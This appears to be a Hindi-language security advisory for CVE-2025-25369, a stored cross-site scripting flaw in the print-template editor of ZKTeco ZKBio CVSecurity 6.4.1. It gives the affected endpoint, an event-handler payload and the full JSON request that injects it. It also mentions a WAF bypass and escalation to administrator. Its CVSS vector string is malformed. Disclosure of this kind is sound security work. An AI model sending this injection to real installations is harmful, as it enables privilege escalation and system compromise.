CVE-2025-25369

CVE-2025-25369: ZKTeco ZKBio CVSecurity v.6.4.1 में क्रॉस साइट स्क्रिप्टिंग भेद्यता

ZKBio CVSecurity v.6.4.1 में एक XSS भेद्यता पाई गई।
एक हमलावर टेम्पलेट संपादक विशेषाधिकारों के साथ इस भेद्यता का शोषण कर सकता है और अपने विशेषाधिकारों को व्यवस्थापक तक बढ़ा सकता है।
अंतर्निहित WAF को बायपास करना भी लागू किया गया था।
इससे सिस्टम से पूरी तरह समझौता हो सकता है।

• प्रभावित संस्करण: ZKBio CVSecurity <= v.6.4.1
• समाधान: -

CVSS स्कोर: 4.3 (निम्न)
वेक्टर: CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

प्रभावित घटक:

• zkbiosecurity/system/remote/BasePrintTemplateRemote.class
• basePrintTemplate.do?savePrintTemplate

हमले के वेक्टर:

• प्रिंट करने योग्य टेम्पलेट बनाते समय XSS इंजेक्ट करना

पेलोड:

onpointerdown="prompt(8)"

अनुरोध के लिए सभी डेटा:

[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]